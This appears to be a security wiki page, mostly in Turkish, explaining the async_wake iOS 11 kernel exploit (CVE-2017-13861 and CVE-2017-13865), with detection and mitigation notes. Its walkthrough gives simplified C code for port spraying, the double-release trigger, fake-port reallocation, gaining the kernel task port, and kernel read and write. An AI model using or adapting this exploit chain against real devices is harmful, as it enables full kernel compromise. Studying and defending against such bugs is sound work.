Skip to content

async_wake (CVE-2017-13861)

Ian Beer'in async_wake exploit'i, bir async callback Mach port'unu double-release etmek için IOSurfaceRootUserClient external method 17'deki bir MIG ownership-rule ihlalini kötüye kullanır; bu, tüm 64-bit iOS 11 cihazlarında tfp0'a (kernel task port'una bir send right) dönüştürülen bir use-after-free yaratır.

Mechanism

Note

Kök neden, MIG'in ownership semantics'i ile bir IOKit external method'undaki manuel reference yönetimi arasındaki bir uyumsuzluktur.

MIG'in kontratı: bir external method KERN_SUCCESS dönerse, method tüm argümanlarını consume etmiştir (MIG başka bir aksiyon almaz); bir error code dönerse, MIG argümanların consume edilmediğini varsayar ve onları kendisi release eder.

IOSurfaceRootUserClient::s_set_surface_notify (external method index 17) bu kuralı ihlal eder:

  1. Açıkça IOUserClient::releaseAsyncReference64(wake_port)'u çağırır ve verilen async callback port'unda bir reference düşürür.
  2. Eğer client aynı callback selector ile bir port'u zaten register etmişse, method ardından bir error code döner.
  3. MIG error'u görür ve wake_port'ta başka bir reference düşürür — sahip olmaması gereken bir tane.

Sonuç: wake_port, tek bir io_connect_async_method çağrısından iki kez release edilmiştir. Caller hâlâ bir send right tutarken port'un reference count'u sıfıra ulaşır; ipc_port objesi ipc_ports zone'una geri free edilir ve bilinen bir adreste dangling bir send right bırakır.

Ian Beer sonra canlı Mach port'larının kernel adreslerini keşfetmek için yardımcı bir information-leak güvenlik açığı (CVE-2017-13865, proc_pidlistuptrs OOB read) kullanır. Bilinen bir dangling-port adresi ile, freed ipc_port slot'unun sahte bir port yapısı ile kontrol edilen re-allocation'ı bir arbitrary read primitive'i verir (pid_for_task kernel pointer'ları leak eder) ve nihayetinde tamamen sahte bir kernel task port'una (tfp0) escalate edilir.

Walkthrough

Ian Beer'in public async_wake PoC'sine (Aralık 2017) ve sonraki topluluk analizine dayanır.

Step 1 — ipc_port adreslerini leak et (CVE-2017-13865)

proc_pidlistuptrs, kqueue entry sayısına göre bir buffer allocate eder, ama buffersize 8'in katı olmadığında allocation'ı aşabilen hesaplanmış bir copysize kullanır:

// Simplified kernel-side logic:
int count = kqueue_count(kq);
size_t alloc = (buffersize / 8) * 8;   // rounded-down
size_t copy  = count * 8;               // may exceed alloc
copyout(kq_buf, user_buf, copy);        // OOB read of kernel heap

kalloc bin'lerini spray'lenen Mach port'larıyla doldurup sonra uninitialized byte'ları okuyarak, en sık görünen değer spray'lenen ipc_port objelerinden birine bir kernel pointer'ıdır:

// spray N ports into kalloc.4096
mach_port_t ports[SPRAY_COUNT];
for (int i = 0; i < SPRAY_COUNT; i++)
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);

// leak via proc_pidlistuptrs OOB read -> scan for repeated pointer
uint64_t port_addr = most_frequent_value(leak_buf, leak_size);

Step 2 — Target port'u seç ve izole et

Kernel adresi bilinen spray'lenen port'lardan birini seç. Rekabet eden allocation'ları azaltmak için diğer tüm port'ları free et:

for (int i = 0; i < SPRAY_COUNT; i++) {
    if (ports[i] != target_port)
        mach_port_destroy(mach_task_self(), ports[i]);
}

Step 3 — Double-release'i tetikle (CVE-2017-13861)

Target port'u bir IOSurface notify registration için async wake port olarak register et, sonra aynı callback selector'ı ikinci kez register et. İkinci çağrı "already registered" error path'ine düşer ve bu MIG'in fazladan reference'ı düşürmesine yol açar:

IOSurfaceRef surf = IOSurfaceCreate(...);
io_connect_t conn = /* open IOSurfaceRootUserClient */;

// First registration: succeeds, port ref count now = 1
io_connect_async_method(conn, target_port, 0, 17 /* s_set_surface_notify */,
                         /*scalar_input=*/NULL, 0, NULL, 0, NULL, NULL, 0, NULL, 0);

// Second registration: same selector -> method drops ref, then returns error
// MIG drops ref again -> port freed (ref count hits 0)
io_connect_async_method(conn, target_port, 0, 17,
                         NULL, 0, NULL, 0, NULL, NULL, 0, NULL, 0);
// target_port is now a dangling send right at known kernel address

Step 4 — Freed ipc_port slot'unu sahte port ile reallocate et

Freed page'i reclaim etmek için zone garbage-collection'ı zorla (ipc_ports zone'unu ~%95'e doldur):

mach_port_t fillers[GC_COUNT];
for (int i = 0; i < GC_COUNT; i++)
    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &fillers[i]);

Sonra delikler oluşturmak için yeterince filler free et ve bilinen adreste craft edilmiş sahte bir ipc_port / sahte task yapısı içeren kalloc.4096 bölgelerini spray et:

// Fake port at the address of the freed target_port.
// ip_bits set to IO_BITS_ACTIVE | IKOT_TASK
// ip_kobject points to a fake task struct with
//   itk_self == 1 (makes pid_for_task leak useful data)
//   map->pmap page table fields crafted for R/W

Step 5 — Kernel R/W kur ve tfp0 elde et

Sahte task'tan kontrol edilen field'ları okumak için pid_for_task(target_port)'u tekrar tekrar kullan. Gerçek kernel yapılarına yürü, gerçek kernel_task'a bir pointer taşıması için ikinci bir sahte port'u düzelt ve onu bir Mach message ile al:

mach_port_t tfp0 = MACH_PORT_NULL;
task_get_special_port(target_port, TASK_KERNEL_PORT, &tfp0);
// tfp0 now has send right to kernel task port

Doğrulama:

[async_wake] info: kernel base: 0xfffffff00a000000
[async_wake] info: got tfp0: 503
[async_wake] success: kernel task port acquired

Step 6 — tfp0 üzerinden Kernel R/W

// Read 8 bytes from kernel address
uint64_t val;
mach_vm_read_overwrite(tfp0, kern_addr, 8, (vm_address_t)&val, &out_sz);

// Write 8 bytes to kernel address
uint64_t patch = new_value;
mach_vm_write(tfp0, kern_addr, (vm_offset_t)&patch, 8);

Detection

  • Sandbox audit log'ları: sandbox'lı bir process'ten selector 17 ile IOSurfaceRootUserClient'a tekrarlanan io_connect_async_method çağrıları.
  • Kernel telemetry: bir ipc_port üzerinde reference-count underflow (patch'lenmiş build'lerde zone poisoning sessizce corrupt etmek yerine panic'ler).
  • Güvenilmeyen bir process'ten buffersize'ı 8'e bölünmeyen proc_pidlistuptrs.

Mitigation

  • iOS 11.2 / macOS 10.13.2'de patch'lendi (Aralık 2017) — s_set_surface_notify artık bir error dönmeden önce port reference'ını consume etmekten doğru biçimde kaçınır.
  • Genel fix paterni: error dönebilen external method'lar, MIG semantics altında kendilerine verilen argümanlarda reference düşürmemelidir; ya da KERN_SUCCESS dönüp kendi cleanup'larını yapmalıdırlar.
  • Zone poisoning (sonraki iOS build'lerinde default olarak aktif): freed zone elemanları bir sentinel pattern ile overwrite edilir; bu da sessiz exploitation'a izin vermek yerine bir dangling pointer dereference edilirse kernel panic'e yol açar.

References